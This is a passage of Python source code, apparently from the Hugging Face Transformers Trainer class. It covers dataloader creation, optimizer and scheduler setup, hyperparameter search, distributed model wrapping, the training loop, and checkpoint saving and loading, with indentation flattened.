if eval_dataset is None and self.eval_dataset is None:
raise ValueError("Trainer: evaluation requires an eval_dataset.")
elif eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized):
raise ValueError("eval_dataset must implement __len__")
elif is_datasets_available() and isinstance(eval_dataset, datasets.Dataset):
self._remove_unused_columns(eval_dataset, description="evaluation")
eval_dataset = eval_dataset if eval_dataset is not None else self.eval_dataset
eval_sampler = self._get_eval_sampler(eval_dataset)
return DataLoader(
eval_dataset,
sampler=eval_sampler,
batch_size=self.args.eval_batch_size,
collate_fn=self.data_collator,
drop_last=self.args.dataloader_drop_last,
num_workers=self.args.dataloader_num_workers,
pin_memory=self.args.dataloader_pin_memory,
)
def get_test_dataloader(self, test_dataset: Dataset) -> DataLoader:
"""
Returns the test :class:`~torch.utils.data.DataLoader`.
Subclass and override this method if you want to inject some custom behavior.
Args:
test_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
The test dataset to use. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed. It must implement :obj:`__len__`.
"""
if not isinstance(test_dataset, collections.abc.Sized):
raise ValueError("test_dataset must implement __len__")
elif is_datasets_available() and isinstance(test_dataset, datasets.Dataset):
self._remove_unused_columns(test_dataset, description="test")
test_sampler = self._get_eval_sampler(test_dataset)
# We use the same batch_size as for eval.
return DataLoader(
test_dataset,
sampler=test_sampler,
batch_size=self.args.eval_batch_size,
collate_fn=self.data_collator,
drop_last=self.args.dataloader_drop_last,
pin_memory=self.args.dataloader_pin_memory,
)
def create_optimizer_and_scheduler(self, num_training_steps: int):
"""
Setup the optimizer and the learning rate scheduler.
We provide a reasonable default that works well. If you want to use something else, you can pass a tuple in the
Trainer's init through :obj:`optimizers`, or subclass and override this method in a subclass.
"""
if self.optimizer is None:
decay_parameters = get_parameter_names(self.model, [torch.nn.LayerNorm])
decay_parameters = [name for name in decay_parameters if "bias" not in name]
optimizer_grouped_parameters = [
{
"params": [p for n, p in self.model.named_parameters() if n in decay_parameters],
"weight_decay": self.args.weight_decay,
},
{
"params": [p for n, p in self.model.named_parameters() if n not in decay_parameters],
"weight_decay": 0.0,
},
]
optimizer_cls = Adafactor if self.args.adafactor else AdamW
if self.args.adafactor:
optimizer_cls = Adafactor
optimizer_kwargs = {"scale_parameter": False, "relative_step": False}
else:
optimizer_cls = AdamW
optimizer_kwargs = {
"betas": (self.args.adam_beta1, self.args.adam_beta2),
"eps": self.args.adam_epsilon,
}
optimizer_kwargs["lr"] = self.args.learning_rate
if self.sharded_ddp == ShardedDDPOption.SIMPLE:
self.optimizer = OSS(
params=optimizer_grouped_parameters,
optim=optimizer_cls,
**optimizer_kwargs,
)
else:
self.optimizer = optimizer_cls(optimizer_grouped_parameters, **optimizer_kwargs)
if self.lr_scheduler is None:
warmup_steps = (
self.args.warmup_steps
if self.args.warmup_steps > 0
else math.ceil(num_training_steps * self.args.warmup_ratio)
)
self.lr_scheduler = get_scheduler(
self.args.lr_scheduler_type,
self.optimizer,
num_warmup_steps=warmup_steps,
num_training_steps=num_training_steps,
)
def num_examples(self, dataloader: DataLoader) -> int:
"""
Helper to get number of samples in a :class:`~torch.utils.data.DataLoader` by accessing its dataset.
Will raise an exception if the underlying dataset dese not implement method :obj:`__len__`
"""
return len(dataloader.dataset)
def _hp_search_setup(self, trial: Union["optuna.Trial", Dict[str, Any]]):
""" HP search setup code """
self._trial = trial
if self.hp_search_backend is None or trial is None:
return
params = self.hp_space(trial) if self.hp_search_backend == HPSearchBackend.OPTUNA else trial
for key, value in params.items():
if not hasattr(self.args, key):
raise AttributeError(
f"Trying to set {key} in the hyperparameter search but there is no corresponding field in `TrainingArguments`."
)
old_attr = getattr(self.args, key, None)
# Casting value to the proper type
if old_attr is not None:
value = type(old_attr)(value)
setattr(self.args, key, value)
if self.hp_search_backend == HPSearchBackend.OPTUNA:
logger.info("Trial:", trial.params)
def _report_to_hp_search(
self, trial: Union["optuna.Trial", Dict[str, Any]], epoch: int, metrics: Dict[str, float]
):
if self.hp_search_backend is None or trial is None:
return
self.objective = self.compute_objective(metrics.copy())
if self.hp_search_backend == HPSearchBackend.OPTUNA:
import optuna
trial.report(self.objective, epoch)
if trial.should_prune():
raise optuna.TrialPruned()
elif self.hp_search_backend == HPSearchBackend.RAY:
from ray import tune
if self.control.should_save:
self._tune_save_checkpoint()
tune.report(objective=self.objective, **metrics)
def _tune_save_checkpoint(self):
from ray import tune
if not self.use_tune_checkpoints:
return
with tune.checkpoint_dir(step=self.state.global_step) as checkpoint_dir:
output_dir = os.path.join(checkpoint_dir, f"{PREFIX_CHECKPOINT_DIR}-{self.state.global_step}")
self.save_model(output_dir)
if self.is_world_process_zero():
self.state.save_to_json(os.path.join(output_dir, "trainer_state.json"))
torch.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt"))
torch.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt"))
def call_model_init(self, trial=None):
model_init_argcount = len(inspect.signature(self.model_init).parameters)
if model_init_argcount == 0:
model = self.model_init()
elif model_init_argcount == 1:
model = self.model_init(trial)
else:
raise RuntimeError("model_init should have 0 or 1 argument.")
if model is None:
raise RuntimeError("model_init should not return None.")
return model
def _wrap_model(self, model, training=True):
# already initialized its own DDP and AMP
if self.deepspeed:
return self.deepspeed
# train/eval could be run multiple-times - if already wrapped, don't re-wrap it again
if unwrap_model(model) is not model:
return model
# Mixed precision training with apex (torch < 1.6)
if self.use_apex and training:
model, self.optimizer = amp.initialize(model, self.optimizer, opt_level=self.args.fp16_opt_level)
# Multi-gpu training (should be after apex fp16 initialization)
if self.args.n_gpu > 1:
model = torch.nn.DataParallel(model)
# Note: in torch.distributed mode, there's no point in wrapping the model
# inside a DistributedDataParallel as we'll be under `no_grad` anyways.
if not training:
return model
# Distributed training (should be after apex fp16 initialization)
if self.sharded_ddp is not None:
# Sharded DDP!
if self.sharded_ddp == ShardedDDPOption.SIMPLE:
model = ShardedDDP(model, self.optimizer)
else:
mixed_precision = self.args.fp16
cpu_offload = ShardedDDPOption.OFFLOAD in self.args.sharded_ddp
zero_3 = self.sharded_ddp == ShardedDDPOption.ZERO_DP_3
# XXX: Breaking the self.model convention but I see no way around it for now.
if ShardedDDPOption.AUTO_WRAP in self.args.sharded_ddp:
model = auto_wrap(model)
self.model = model = FullyShardedDDP(
model,
mixed_precision=mixed_precision,
reshard_after_forward=zero_3,
cpu_offload=cpu_offload,
).to(self.args.device)
elif is_sagemaker_distributed_available():
model = DDP(model, device_ids=[dist.get_local_rank()], broadcast_buffers=False)
elif self.args.local_rank != -1:
if self.args.ddp_find_unused_parameters is not None:
find_unused_parameters = self.args.ddp_find_unused_parameters
elif isinstance(model, PreTrainedModel):
# find_unused_parameters breaks checkpointing as per
# https://github.com/huggingface/transformers/pull/4659#issuecomment-643356021
find_unused_parameters = not getattr(model.config, "gradient_checkpointing", False)
else:
find_unused_parameters = True
model = torch.nn.parallel.DistributedDataParallel(
model,
device_ids=[self.args.local_rank],
output_device=self.args.local_rank,
find_unused_parameters=find_unused_parameters,
)
return model
def train(
self,
resume_from_checkpoint: Optional[Union[str, bool]] = None,
trial: Union["optuna.Trial", Dict[str, Any]] = None,
**kwargs,
):
"""
Main training entry point.
Args:
resume_from_checkpoint (:obj:`str` or :obj:`bool`, `optional`):
If a :obj:`str`, local path to a saved checkpoint as saved by a previous instance of
:class:`~transformers.Trainer`. If a :obj:`bool` and equals `True`, load the last checkpoint in
`args.output_dir` as saved by a previous instance of :class:`~transformers.Trainer`. If present,
training will resume from the model/optimizer/scheduler states loaded here.
trial (:obj:`optuna.Trial` or :obj:`Dict[str, Any]`, `optional`):
The trial run or the hyperparameter dictionary for hyperparameter search.
kwargs:
Additional keyword arguments used to hide deprecated arguments
"""
# memory metrics - must set up as early as possible
self._memory_tracker.start()
self.is_in_train = True
if "model_path" in kwargs:
resume_from_checkpoint = kwargs.pop("model_path")
warnings.warn(
"`model_path` is deprecated and will be removed in a future version. Use `resume_from_checkpoint` "
"instead.",
FutureWarning,
)
if len(kwargs) > 0:
raise TypeError(f"train() received got unexpected keyword arguments: {', '.join(list(kwargs.keys()))}.")
# This might change the seed so needs to run first.
self._hp_search_setup(trial)
# Model re-init
model_reloaded = False
if self.model_init is not None:
# Seed must be set before instantiating the model when using model_init.
set_seed(self.args.seed)
self.model = self.call_model_init(trial)
model_reloaded = True
# Reinitializes optimizer and scheduler
self.optimizer, self.lr_scheduler = None, None
# Load potential model checkpoint
if isinstance(resume_from_checkpoint, bool) and resume_from_checkpoint:
resume_from_checkpoint = get_last_checkpoint(self.args.output_dir)
if resume_from_checkpoint is None:
raise ValueError(f"No valid checkpoint found in output directory ({self.args.output_dir})")
if resume_from_checkpoint is not None and os.path.isfile(os.path.join(resume_from_checkpoint, WEIGHTS_NAME)):
logger.info(f"Loading model from {resume_from_checkpoint}).")
if isinstance(self.model, PreTrainedModel):
self.model = self.model.from_pretrained(resume_from_checkpoint)
model_reloaded = True
else:
state_dict = torch.load(os.path.join(resume_from_checkpoint, WEIGHTS_NAME))
self.model.load_state_dict(state_dict)
# If model was re-initialized, put it on the right device and update self.model_wrapped
if model_reloaded:
if self.place_model_on_device:
self.model = self.model.to(self.args.device)
self.model_wrapped = self.model
# Keeping track whether we can can len() on the dataset or not
train_dataset_is_sized = isinstance(self.train_dataset, collections.abc.Sized)
# Data loader and number of training steps
train_dataloader = self.get_train_dataloader()
# Setting up training control variables:
# number of training epochs: num_train_epochs
# number of training steps per epoch: num_update_steps_per_epoch
# total number of training steps to execute: max_steps
if train_dataset_is_sized:
num_update_steps_per_epoch = len(train_dataloader) // self.args.gradient_accumulation_steps
num_update_steps_per_epoch = max(num_update_steps_per_epoch, 1)
if self.args.max_steps > 0:
max_steps = self.args.max_steps
num_train_epochs = self.args.max_steps // num_update_steps_per_epoch + int(
self.args.max_steps % num_update_steps_per_epoch > 0
)
else:
max_steps = math.ceil(self.args.num_train_epochs * num_update_steps_per_epoch)
num_train_epochs = math.ceil(self.args.num_train_epochs)
else:
# see __init__. max_steps is set when the dataset has no __len__
max_steps = self.args.max_steps
num_train_epochs = 1
num_update_steps_per_epoch = max_steps
delay_optimizer_creation = self.sharded_ddp is not None and self.sharded_ddp != ShardedDDPOption.SIMPLE
if self.args.deepspeed:
model, optimizer, lr_scheduler = init_deepspeed(self, num_training_steps=max_steps)
self.model = model.module
self.model_wrapped = model # will get further wrapped in DDP
self.deepspeed = model # DeepSpeedEngine object
self.optimizer = optimizer
self.lr_scheduler = lr_scheduler
elif not delay_optimizer_creation:
self.create_optimizer_and_scheduler(num_training_steps=max_steps)
self.state = TrainerState()
self.state.is_hyper_param_search = trial is not None
model = self._wrap_model(self.model_wrapped)
# for the rest of this function `model` is the outside model, whether it was wrapped or not
if model is not self.model:
self.model_wrapped = model
if delay_optimizer_creation:
self.create_optimizer_and_scheduler(num_training_steps=max_steps)
# Check if saved optimizer or scheduler states exist
self._load_optimizer_and_scheduler(resume_from_checkpoint)
# important: at this point:
# self.model is the Transformers Model
# self.model_wrapped is DDP(Transformers Model), Deepspeed(Transformers Model), etc.
# Train!
if is_torch_tpu_available():
world_size = xm.xrt_world_size()
elif self.args.local_rank != -1:
world_size = dist.get_world_size()
else:
world_size = 1
total_train_batch_size = self.args.train_batch_size * self.args.gradient_accumulation_steps * world_size
num_examples = (
self.num_examples(train_dataloader)
if train_dataset_is_sized
else total_train_batch_size * self.args.max_steps
)
logger.info("***** Running training *****")
logger.info(f" Num examples = {num_examples}")
logger.info(f" Num Epochs = {num_train_epochs}")
logger.info(f" Instantaneous batch size per device = {self.args.per_device_train_batch_size}")
logger.info(f" Total train batch size (w. parallel, distributed & accumulation) = {total_train_batch_size}")
logger.info(f" Gradient Accumulation steps = {self.args.gradient_accumulation_steps}")
logger.info(f" Total optimization steps = {max_steps}")
self.state.epoch = 0
start_time = time.time()
epochs_trained = 0
steps_trained_in_current_epoch = 0
# Check if continuing training from a checkpoint
if resume_from_checkpoint is not None and os.path.isfile(
os.path.join(resume_from_checkpoint, "trainer_state.json")
):
self.state = TrainerState.load_from_json(os.path.join(resume_from_checkpoint, "trainer_state.json"))
epochs_trained = self.state.global_step // num_update_steps_per_epoch
if not self.args.ignore_data_skip:
steps_trained_in_current_epoch = self.state.global_step % (num_update_steps_per_epoch)
steps_trained_in_current_epoch *= self.args.gradient_accumulation_steps
else:
steps_trained_in_current_epoch = 0
logger.info(" Continuing training from checkpoint, will skip to saved global_step")
logger.info(f" Continuing training from epoch {epochs_trained}")
logger.info(f" Continuing training from global step {self.state.global_step}")
if not self.args.ignore_data_skip:
logger.info(
f" Will skip the first {epochs_trained} epochs then the first {steps_trained_in_current_epoch} "
"batches in the first epoch."
)
# Update the references
self.callback_handler.model = self.model
self.callback_handler.optimizer = self.optimizer
self.callback_handler.lr_scheduler = self.lr_scheduler
self.callback_handler.train_dataloader = train_dataloader
self.state.trial_name = self.hp_name(trial) if self.hp_name is not None else None
self.state.trial_params = hp_params(trial) if trial is not None else None
# This should be the same if the state has been saved but in case the training arguments changed, it's safer
# to set this after the load.
self.state.max_steps = max_steps
self.state.num_train_epochs = num_train_epochs
self.state.is_local_process_zero = self.is_local_process_zero()
self.state.is_world_process_zero = self.is_world_process_zero()
# tr_loss is a tensor to avoid synchronization of TPUs through .item()
tr_loss = torch.tensor(0.0).to(self.args.device)
# _total_loss_scalar is updated everytime .item() has to be called on tr_loss and stores the sum of all losses
self._total_loss_scalar = 0.0
self._globalstep_last_logged = self.state.global_step
self._total_flos = self.state.total_flos
model.zero_grad()
self.control = self.callback_handler.on_train_begin(self.args, self.state, self.control)
# Skip the first epochs_trained epochs to get the random state of the dataloader at the right point.
if not self.args.ignore_data_skip:
for epoch in range(epochs_trained):
# We just need to begin an iteration to create the randomization of the sampler.
for _ in train_dataloader:
break
for epoch in range(epochs_trained, num_train_epochs):
if isinstance(train_dataloader, DataLoader) and isinstance(train_dataloader.sampler, DistributedSampler):
train_dataloader.sampler.set_epoch(epoch)
if is_torch_tpu_available():
parallel_loader = pl.ParallelLoader(train_dataloader, [self.args.device]).per_device_loader(
self.args.device
)
epoch_iterator = parallel_loader
else:
epoch_iterator = train_dataloader
# Reset the past mems state at the beginning of each epoch if necessary.
if self.args.past_index >= 0:
self._past = None
steps_in_epoch = (
len(epoch_iterator)
if train_dataset_is_sized
else self.args.max_steps * self.args.gradient_accumulation_steps
)
self.control = self.callback_handler.on_epoch_begin(self.args, self.state, self.control)
for step, inputs in enumerate(epoch_iterator):
# Skip past any already trained steps if resuming training
if steps_trained_in_current_epoch > 0:
steps_trained_in_current_epoch -= 1
continue
if (step + 1) % self.args.gradient_accumulation_steps == 0:
self.control = self.callback_handler.on_step_begin(self.args, self.state, self.control)
if (
((step + 1) % self.args.gradient_accumulation_steps != 0)
and self.args.local_rank != -1
and self.args._no_sync_in_gradient_accumulation
):
# Avoid unnecessary DDP synchronization since there will be no backward pass on this example.
with model.no_sync():
tr_loss += self.training_step(model, inputs)
else:
tr_loss += self.training_step(model, inputs)
self._total_flos += float(self.floating_point_ops(inputs))
# Optimizer step for deepspeed must be called on every step regardless of the value of gradient_accumulation_steps
if self.deepspeed:
self.deepspeed.step()
if (step + 1) % self.args.gradient_accumulation_steps == 0 or (
# last step in epoch but step is always smaller than gradient_accumulation_steps
steps_in_epoch <= self.args.gradient_accumulation_steps
and (step + 1) == steps_in_epoch
):
# Gradient clipping
if self.args.max_grad_norm is not None and self.args.max_grad_norm > 0 and not self.deepspeed:
# deepspeed does its own clipping
if self.use_amp:
# AMP: gradients need unscaling
self.scaler.unscale_(self.optimizer)
if hasattr(self.optimizer, "clip_grad_norm"):
# Some optimizers (like the sharded optimizer) have a specific way to do gradient clipping
self.optimizer.clip_grad_norm(self.args.max_grad_norm)
elif hasattr(model, "clip_grad_norm_"):
# Some models (like FullyShardedDDP) have a specific way to do gradient clipping
model.clip_grad_norm_(self.args.max_grad_norm)
else:
# Revert to normal clipping otherwise, handling Apex or full precision
torch.nn.utils.clip_grad_norm_(
amp.master_params(self.optimizer) if self.use_apex else model.parameters(),
self.args.max_grad_norm,
)
# Optimizer step
if self.deepspeed:
pass # called outside the loop
elif is_torch_tpu_available():
xm.optimizer_step(self.optimizer)
elif self.use_amp:
self.scaler.step(self.optimizer)
self.scaler.update()
else:
self.optimizer.step()
if not self.deepspeed:
self.lr_scheduler.step()
model.zero_grad()
self.state.global_step += 1
self.state.epoch = epoch + (step + 1) / steps_in_epoch
self.control = self.callback_handler.on_step_end(self.args, self.state, self.control)
self._maybe_log_save_evaluate(tr_loss, model, trial, epoch)
if self.control.should_epoch_stop or self.control.should_training_stop:
break
self.control = self.callback_handler.on_epoch_end(self.args, self.state, self.control)
self._maybe_log_save_evaluate(tr_loss, model, trial, epoch)
if self.args.tpu_metrics_debug or self.args.debug:
if is_torch_tpu_available():
# tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.)
xm.master_print(met.metrics_report())
else:
logger.warning(
"You enabled PyTorch/XLA debug metrics but you don't have a TPU "
"configured. Check your training configuration if this is unexpected."
)
if self.control.should_training_stop:
break
if self.args.past_index and hasattr(self, "_past"):
# Clean the state at the end of training
delattr(self, "_past")
logger.info("\n\nTraining completed. Do not forget to share your model on huggingface.co/models =)\n\n")
if self.args.load_best_model_at_end and self.state.best_model_checkpoint is not None:
# Wait for everyone to get here so we are sur the model has been saved by process 0.
if is_torch_tpu_available():
xm.rendezvous("load_best_model_at_end")
elif self.args.local_rank != -1:
dist.barrier()
logger.info(
f"Loading best model from {self.state.best_model_checkpoint} (score: {self.state.best_metric})."
)
if isinstance(self.model, PreTrainedModel):
self.model = self.model.from_pretrained(self.state.best_model_checkpoint)
if self.place_model_on_device:
self.model = self.model.to(self.args.device)
else:
state_dict = torch.load(os.path.join(self.state.best_model_checkpoint, WEIGHTS_NAME))
self.model.load_state_dict(state_dict)
if self.deepspeed:
self.deepspeed.load_checkpoint(
self.state.best_model_checkpoint, load_optimizer_states=False, load_lr_scheduler_states=False
)
metrics = speed_metrics("train", start_time, self.state.max_steps)
if self._total_flos is not None:
self.store_flos()
metrics["total_flos"] = self.state.total_flos
self.log(metrics)
self.control = self.callback_handler.on_train_end(self.args, self.state, self.control)
# add remaining tr_loss
self._total_loss_scalar += tr_loss.item()
if self.deepspeed:
# free up any memory that might be useful for eval
self.deepspeed = None
self.optimizer = None
self.lr_scheduler = None
self.model_wrapped = self.model
gc.collect() # force memory release
# to restore normal behavior outside of train replay the place_model_on_device logic w/o deepspeed
self.place_model_on_device = self.args.place_model_on_device
if self.is_model_parallel:
self.place_model_on_device = False
self.is_in_train = False
self._memory_tracker.stop_and_update_metrics(metrics)
return TrainOutput(self.state.global_step, self._total_loss_scalar / self.state.global_step, metrics)
def _maybe_log_save_evaluate(self, tr_loss, model, trial, epoch):
if self.control.should_log:
logs: Dict[str, float] = {}
tr_loss_scalar = tr_loss.item()
# reset tr_loss to zero
tr_loss -= tr_loss
logs["loss"] = round(tr_loss_scalar / (self.state.global_step - self._globalstep_last_logged), 4)
logs["learning_rate"] = self._get_learning_rate()
self._total_loss_scalar += tr_loss_scalar
self._globalstep_last_logged = self.state.global_step
self.log(logs)
metrics = None
if self.control.should_evaluate:
metrics = self.evaluate()
self._report_to_hp_search(trial, epoch, metrics)
if self.control.should_save:
self._save_checkpoint(model, trial, metrics=metrics)
self.control = self.callback_handler.on_save(self.args, self.state, self.control)
def _save_checkpoint(self, model, trial, metrics=None):
# In all cases, including ddp/dp/deepspeed, self.model is always a reference to the model we
# want to save except FullyShardedDDP.
# assert unwrap_model(model) is self.model, "internal model should be a reference to self.model"
# Save model checkpoint
checkpoint_folder = f"{PREFIX_CHECKPOINT_DIR}-{self.state.global_step}"
if self.hp_search_backend is not None and trial is not None:
if self.hp_search_backend == HPSearchBackend.OPTUNA:
run_id = trial.number
else:
from ray import tune
run_id = tune.get_trial_id()
run_name = self.hp_name(trial) if self.hp_name is not None else f"run-{run_id}"
run_dir = os.path.join(self.args.output_dir, run_name)
else:
run_dir = self.args.output_dir
self.store_flos()
output_dir = os.path.join(run_dir, checkpoint_folder)
self.save_model(output_dir)
if self.deepspeed:
self.deepspeed.save_checkpoint(output_dir)
# Save optimizer and scheduler
if self.sharded_ddp == ShardedDDPOption.SIMPLE:
self.optimizer.consolidate_state_dict()
if is_torch_tpu_available():
xm.rendezvous("saving_optimizer_states")
xm.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt"))
with warnings.catch_warnings(record=True) as caught_warnings:
xm.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt"))
reissue_pt_warnings(caught_warnings)
elif self.is_world_process_zero() and not self.deepspeed:
# deepspeed.save_checkpoint above saves model/optim/sched
torch.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt"))
with warnings.catch_warnings(record=True) as caught_warnings:
torch.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt"))
reissue_pt_warnings(caught_warnings)
# Determine the new best metric / best model checkpoint
if metrics is not None and self.args.metric_for_best_model is not None:
metric_to_check = self.args.metric_for_best_model
if not metric_to_check.startswith("eval_"):
metric_to_check = f"eval_{metric_to_check}"
metric_value = metrics[metric_to_check]
operator = np.greater if self.args.greater_is_better else np.less
if (
self.state.best_metric is None
or self.state.best_model_checkpoint is None
or operator(metric_value, self.state.best_metric)
):
self.state.best_metric = metric_value
self.state.best_model_checkpoint = output_dir
# Save the Trainer state
if self.is_world_process_zero():
self.state.save_to_json(os.path.join(output_dir, "trainer_state.json"))
# Maybe delete some older checkpoints.
if self.is_world_process_zero():
self._rotate_checkpoints(use_mtime=True, output_dir=run_dir)
def _load_optimizer_and_scheduler(self, checkpoint):
"""If optimizer and scheduler states exist, load them."""
if checkpoint is None:
return
if os.path.isfile(os.path.join(checkpoint, "optimizer.pt")) and os.path.isfile(
os.path.join(checkpoint, "scheduler.pt")
):
# Load in optimizer and scheduler states
if is_torch_tpu_available():
# On TPU we have to take some extra precautions to properly load the states on the right device.
optimizer_state = torch.load(os.path.join(checkpoint, "optimizer.pt"), map_location="cpu")
with warnings.catch_warnings(record=True) as caught_warnings:
lr_scheduler_state = torch.load(os.path.join(checkpoint, "scheduler.pt"), map_location="cpu")
reissue_pt_warnings(caught_warnings)
xm.send_cpu_data_to_device(optimizer_state, self.args.device)
xm.send_cpu_data_to_device(lr_scheduler_state, self.args.device)
self.optimizer.load_state_dict(optimizer_state)
self.lr_scheduler.load_state_dict(lr_scheduler_state)
else:
self.optimizer.load_state_dict(
torch.load(os.path.join(checkpoint, "optimizer.pt"), map_location=self.args.device)
)
with warnings.catch_warnings(record=True) as caught_warnings:
self.lr_scheduler.load_state_dict(torch.load(os.path.join(checkpoint, "scheduler.pt")))
reissue_pt_warnings(caught_warnings)
if self.deepspeed:
# Not sure how to check if there is a saved deepspeed checkpoint, but since it just return None if it fails to find a deepspeed checkpoint this is sort of a check-n-load function
self.deepspeed.load_checkpoint(checkpoint, load_optimizer_states=True, load_lr_scheduler_states=True)
def hyperparameter_search(
self,
hp_space: Optional[Callable[["optuna.Trial"], Dict[str, float]]] = None,
compute_objective: Optional[Callable[[Dict[str, float]], float]] = None,
n_trials: int = 20,
direction: str = "minimize",
backend: Optional[Union["str", HPSearchBackend]] = None,
hp_name: Optional[Callable[["optuna.Trial"], str]] = None,
**kwargs,
) -> BestRun:
"""
Launch an hyperparameter search using ``optuna`` or ``Ray Tune``. The optimized quantity is determined by
:obj:`compute_objective`, which defaults to a function returning the evaluation loss when no metric is
provided, the sum of all metrics otherwise.
.. warning::
To use this method, you need to have provided a ``model_init`` when initializing your
:class:`~transformers.Trainer`: we need to reinitialize the model at each new run. This is incompatible
with the ``optimizers`` argument, so you need to subclass :class:`~transformers.Trainer` and override the
method :meth:`~transformers.Trainer.create_optimizer_and_scheduler` for custom optimizer/scheduler.
Args:
hp_space (:obj:`Callable[["optuna.Trial"], Dict[str, float]]`, `optional`):
A function that defines the hyperparameter search space. Will default to
:func:`~transformers.trainer_utils.default_hp_space_optuna` or
:func:`~transformers.trainer_utils.default_hp_space_ray` depending on your backend.
compute_objective (:obj:`Callable[[Dict[str, float]], float]`, `optional`):
A function computing the objective to minimize or maximize from the metrics returned by the
:obj:`evaluate` method. Will default to :func:`~transformers.trainer_utils.default_compute_objective`.
n_trials (:obj:`int`, `optional`, defaults to 100):
The number of trial runs to test.
direction(:obj:`str`, `optional`, defaults to :obj:`"minimize"`):
Whether to optimize greater or lower objects. Can be :obj:`"minimize"` or :obj:`"maximize"`, you should
pick :obj:`"minimize"` when optimizing the validation loss, :obj:`"maximize"` when optimizing one or
several metrics.
backend(:obj:`str` or :class:`~transformers.training_utils.HPSearchBackend`, `optional`):
The backend to use for hyperparameter search. Will default to optuna or Ray Tune, depending on which
one is installed. If both are installed, will default to optuna.
kwargs:
Additional keyword arguments passed along to :obj:`optuna.create_study` or :obj:`ray.tune.run`. For
more information see:
- the documentation of `optuna.create_study
<https://optuna.readthedocs.io/en/stable/reference/generated/optuna.study.create_study.html>`__
- the documentation of `tune.run
<https://docs.ray.io/en/latest/tune/api_docs/execution.html#tune-run>`__
Returns:
:class:`transformers.trainer_utils.BestRun`: All the information about the best run.
"""
if backend is None:
backend = default_hp_search_backend()
if backend is None:
raise RuntimeError(
"At least one of optuna or ray should be installed. "
"To install optuna run `pip install optuna`."
"To install ray run `pip install ray[tune]`."
)
backend = HPSearchBackend(backend)
if backend == HPSearchBackend.OPTUNA and not is_optuna_available():
raise RuntimeError("You picked the optuna backend, but it is not installed. Use `pip install optuna`.")
if backend == HPSearchBackend.RAY and not is_ray_tune_available():
raise RuntimeError(
"You picked the Ray Tune backend, but it is not installed. Use `pip install 'ray[tune]'`."
)
self.hp_search_backend = backend
if self.model_init is None:
raise RuntimeError(
"To use hyperparameter search, you need to pass your model through a model_init function."
)
self.hp_space = default_hp_space[backend] if hp_space is None else hp_space
self.hp_name = hp_name
self.compute_objective = default_compute_objective if compute_objective is None else compute_objective
run_hp_search = run_hp_search_optuna if backend == HPSearchBackend.OPTUNA else run_hp_search_ray
best_run = run_hp_search(self, n_trials, direction, **kwargs)
self.hp_search_backend = None
return best_run
def log(self, logs: Dict[str, float]) -> None:
"""
Log :obj:`logs` on the various objects watching training.
Subclass and override this method to inject custom behavior.
Args:
logs (:obj:`Dict[str, float]`):
The values to log.
"""
if self.state.epoch is not None:
logs["epoch"] = round(self.state.epoch, 2)
output = {**logs, **{"step": self.state.global_step}}
self.state.log_history.append(output)
self.control = self.callback_handler.on_log(self.args, self.state, self.control, logs)
def _prepare_inputs(self, inputs: Dict[str, Union[torch.Tensor, Any]]) -> Dict[str, Union[torch.Tensor, Any]]:
"""
Prepare :obj:`inputs` before feeding them to the model, converting them to tensors if they are not already and
handling potential state.
"""
for k, v in inputs.items():
if isinstance(v, torch.Tensor):
inputs[k] = v.to(self.args.device)
if self.args.past_index >= 0 and self._past is not None:
inputs["mems"] = self._past
return inputs
def training_step(self, model: nn.Module, inputs: Dict[str, Union[torch.Tensor, Any]]) -> torch.Tensor:
"""
Perform a training step on a batch of inputs.
Subclass and override to inject custom behavior.
Args:
model (:obj:`nn.Module`):
The model to train.
inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`):
The inputs and targets of the model.
The dictionary will be unpacked before being fed to the model. Most models expect the targets under the
argument :obj:`labels`. Check your model's documentation for all accepted arguments.
Return:
:obj:`torch.Tensor`: The tensor with training loss on this batch.
"""
model.train()
inputs = self._prepare_inputs(inputs)
if self.use_amp:
with autocast():
loss = self.compute_loss(model, inputs)
else:
loss = self.compute_loss(model, inputs)
if self.args.n_gpu > 1:
loss = loss.mean() # mean() to average on multi-gpu parallel training
if self.args.gradient_accumulation_steps > 1 and not self.deepspeed:
# deepspeed handles loss scaling by gradient_accumulation_steps in its `backward`
loss = loss / self.args.gradient_accumulation_steps
if self.use_amp:
self.scaler.scale(loss).backward()
elif self.use_apex:
with amp.scale_loss(loss, self.optimizer) as scaled_loss:
scaled_loss.backward()
elif self.deepspeed:
# loss gets scaled under gradient_accumulation_steps in deepspeed
loss = self.deepspeed.backward(loss)
else:
loss.backward()
return loss.detach()
def compute_loss(self, model, inputs, return_outputs=False):
"""
How the loss is computed by Trainer. By default, all models return the loss in the first element.
Subclass and override for custom behavior.
"""
if self.label_smoother is not None and "labels" in inputs:
labels = inputs.pop("labels")
else:
labels = None
outputs = model(**inputs)
# Save past state if it exists
# TODO: this needs to be fixed and made cleaner later.
if self.args.past_index >= 0:
self._past = outputs[self.args.past_index]
if labels is not None:
loss = self.label_smoother(outputs, labels)
else:
# We don't use .loss here since the model may return tuples instead of ModelOutput.
loss = outputs["loss"] if isinstance(outputs, dict) else outputs[0]
return (loss, outputs) if return_outputs else loss
def is_local_process_zero(self) -> bool:
"""
Whether or not this process is the local (e.g., on one machine if training in a distributed fashion on several
machines) main process.
"""
if is_torch_tpu_available():
return xm.is_master_ordinal(local=True)
else:
return self.args.local_rank in [-1, 0]
def is_world_process_zero(self) -> bool:
"""
Whether or not this process is the global main process (when training in a distributed fashion on several
machines, this is only going to be :obj:`True` for one process).
"""
if is_torch_tpu_available():
return xm.is_master_ordinal(local=False)
else:
return self.args.local_rank == -1 or dist.get_rank() == 0
def save_model(self, output_dir: Optional[str] = None):
"""
Will save the model, so you can reload it using :obj:`from_pretrained()`.
Will only save from the main process.
"""
if is_torch_tpu_available():
self._save_tpu(output_dir)
elif (
ShardedDDPOption.ZERO_DP_2 in self.args.sharded_ddp or ShardedDDPOption.ZERO_DP_3 in self.args.sharded_ddp
):
state_dict = self.model.state_dict()
if self.is_world_process_zero():
self._save(output_dir, state_dict=state_dict)
